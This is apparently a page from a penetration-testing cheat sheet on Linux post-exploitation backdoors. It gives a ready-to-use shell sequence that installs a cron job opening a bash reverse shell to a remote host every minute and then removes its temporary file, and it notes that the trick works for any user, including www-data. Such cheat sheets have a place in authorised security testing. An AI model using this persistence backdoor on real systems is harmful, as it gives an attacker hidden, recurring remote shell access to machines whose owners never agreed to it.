> For the complete documentation index, see [llms.txt](https://heinosass.gitbook.io/leet-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://heinosass.gitbook.io/leet-sheet/post-exploitation/linux/backdoors.md).

# Backdoors

### Cron Backdoor

Works as any user, even `www-data`.

```
cd /tmp
touch .tab 
crontab -l > .tab
echo "* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.6.1/8001 0>&1'" >> .tab
crontab .tab
rm .tab
```